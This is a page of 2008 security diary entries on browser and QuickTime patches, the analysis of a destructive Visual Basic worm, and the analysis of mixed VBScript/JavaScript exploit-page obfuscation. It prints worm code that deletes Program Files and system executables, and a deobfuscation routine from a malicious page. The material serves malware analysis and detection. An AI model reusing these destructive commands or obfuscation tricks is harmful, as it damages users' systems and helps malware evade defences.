Opera fixes vulnerabilities and Microsoft announces April's fixes

Published: 2008-04-03
Last Updated: 2008-04-03 19:52:15 UTC
by Bojan Zdrnja (Version: 1)
0 comment(s)

Opera released a new version of their browser (9.27) that fixes two remotely exploitable vulnerabilities (http://www.opera.com/support/search/view/881/ and http://www.opera.com/support/search/view/882/). The update can be downloaded from http://www.opera.com/download/.

 
Microsoft also released advance notification about this month's black Tuesday. And it looks like it will be a busy day for sure: Microsoft announces 8 security advisories (5 critical and 3 important), as well as some other non-security patches. More information is available at http://www.microsoft.com/technet/security/bulletin/ms08-apr.mspx.

Keywords: microsoft opera
0 comment(s)

VB detection: is it so difficult?

Published: 2008-04-03
Last Updated: 2008-04-03 13:57:25 UTC
by Bojan Zdrnja (Version: 1)
0 comment(s)

One of our readers submitted a malware sample his machine got infected with recently. The sample was a worm written in Visual Basic, so it was an easy analysis.

The worm offered nothing new really – the only thing that surprised me was how destructive it is (today we normally see only sneaky malware that tries to stay on your system as long as possible). Except setting dozens of registry keys to disable certain executables from being run (such as Anti Virus programs, but simple programs as Notepad as well), it did something really nasty:

set yeah=fso.CreateTextFile("C:\Northstar.bat")
yeah.WriteLine "@echo off"
yeah.WriteLine "cls"
yeah.WriteLine "deltree C:\Program Files\*.*"

yeah.Close

In other words, it tries to delete all the files under the Program Files directory. Besides this, it tries to delete two other files:

Set k = fso.GetFile("c:\windows\explorer.exe")
k.Delete
Set k = fso.GetFile("c:\windows\regedit.exe")

k.Delete

Due to Windows File Protection, this will fail, but we can see that the malware author decided to be very destructive (the worm replicates itself to all available shares and disks before this).

After playing with it I decided to see what's the AV coverage of this (simple) piece of malware … and the result was shocking. On VirusTotal, only 11 out of 32 AV detected it:

AntiVir      7.6.0.80      2008.04.03          VBS/Zapchast
AVG          7.5.0.516     2008.04.02          VBS/Small
BitDefender  7.2           2008.04.03          Win32.Ariss.A@mm
DrWeb        4.44.0.09170  2008.04.03          modification of VBS.Generic.458
eSafe        7.0.15.0      2008.04.01          VBS.Crystal
F-Secure     6.70.13260.0  2008.04.03          Type_Script
Kaspersky    7.0.0.125     2008.04.03          Type_Script
NOD32v2      2998          2008.04.03          VBS/SysLock.A
Panda        9.0.0.4       2008.04.02          Suspicious file
Rising       20.38.22.00   2008.04.02          Worm.Larisa.a

Webwasher-Gateway  6.6.2   2008.04.03          Script.Soad.2

As you can see, most major anti-virus programs missed this (very simple) piece of malware. We've sent the sample to them so hopefully they will start detecting it soon, but this is another example of why we must not ignore old(er) technologies that the bad guys still rely on.

--

Bojan

Keywords: malware worm
0 comment(s)

A bag of vulnerabilities (and fixes) in QuickTime

Published: 2008-04-03
Last Updated: 2008-04-03 12:14:28 UTC
by Bojan Zdrnja (Version: 1)
0 comment(s)

Apple released QuickTime version 7.4.5 which addresses 11 vulnerabilities. Vulnerabilities range from denial of service attacks, information leaks to (of course) remote code execution.

Since QuickTime for all operating systems is affected (Mac OS X, Windows XP, Vista), we recommend that you update as soon as possible.

More information about the update is available at http://support.apple.com/kb/HT1241 and files can be downloaded directly from http://www.apple.com/support/quicktime/.

Thanks to Juha-Matti for heads up.

--

Bojan

Keywords: quicktime
0 comment(s)

Mixed (VBScript and JavaScript) obfuscation

Published: 2008-04-03
Last Updated: 2008-04-03 00:07:16 UTC
by Bojan Zdrnja (Version: 1)
2 comment(s)

I recently had to analyze a compromised web site that was serving malware. The web site included an iframe (of course) that pointed to a script exploiting various vulnerabilities.

As you can probably already guess, the script was obfuscated, but this time I saw something relatively new (nothing ground breaking, but an interesting move).

The web page with the exploit was split into two parts: a VBScript part and a JavaScript part, as you can see below:

Script with VB and JS

Now, the interesting thing about this script is that the JavaScript part needs the VBScript part to finish the deobfuscation properly. If you look carefully at the screen shot above you can see the following parts:

  • The page starts with a VBScript. It defines some variables (mcvk, ybjfo, da) and then calls unescape() on a reversed string with certain characters replaced.
  • The result of the unescape() function is placed in a variable called togn. Now the VBScript part finishes and the JavaScript part starts.
  • This part again defines some empty variables (hq, bi) and then calls eval() on the togn variable.

The togn variable that was the result of the VBScript code actually contains JavaScript code that is needed for proper deobfuscation. The eval() call evaluates a string and executes it as if it was script code.

So, in order to deobfuscate this page we need to first process the VBScript part, paste the output into the togn variable and then execute the JavaScript part. Alternatively, we can use a debugger that works with both languages which means we have to use Internet Explorer on Windows.

If you've been reading our diaries you should already know how to deal with simple VBScript and JavaScript obfuscation (if not see http://isc.sans.org/diary.html?storyid=3351 and http://isc.sans.org/diary.html?storyid=2358 or you can check the SEC610 (http://www.zeltser.com/reverse-malware/) course Lenny teaches at SANS Institute, where I wrote the advanced web malware deobfuscation part).

Once the first part is deobfuscated, the togn variable will contain the following code:

function lid() {return "%u313d%u3030%u2634%u3d69%u3131%ucccc";} function   goqod(jyr) {  var   wbn,y="Fj2H9{NnzU*1CuP}-MEt!~bh.wBTI=6k3x[gyZG+$ld\"8#s@&mKaf7ev'54J;i(0:VOArc|^q)`]_o ,p",sgb='',de,ylg,nm='',u;   for(wbn=0;wbn<jyr.length;wbn++)  {  de=jyr.charAt(wbn);  ylg=y.indexOf(de);  if(ylg>-1)  {  u= ((ylg+1)%81-1);  if(u<=0)  {   u+=81  }  nm+=y.charAt(u-1)   }  else  {  nm+=de  }  }  sgb+=nm;       document.write(sgb);  }

The function goqod() gets called from the JavaScript code and is the one that handles the final deobfuscation (at the end the document.write call executes various exploits).

As this was relatively easy to deobfuscate, you might wonder why did the bad guys go that far and made things more complicated by using both VBScript and JavaScript. While I don't know the answer to this, my guess is that they are trying to prevent researchers from using automated honeypot/crawler machines based on JavaScript parsers (such as SpiderMonkey) from detecting the exploit. Executing these functions on a system that doesn't support VBScript will not return anything (the JavaScript code will fail due to a call to an inexistent function).

Besides making things more difficult for researchers, this "advanced" obfuscation also helps in evading AV detection. While the test on VT is not a real indicator (some AV programs have abilities to detect exploits better in browsers), when a scan of a file returns 2/32 as the result, that doesn't sound encouraging.

--

Bojan

2 comment(s)

Comments


Diary Archives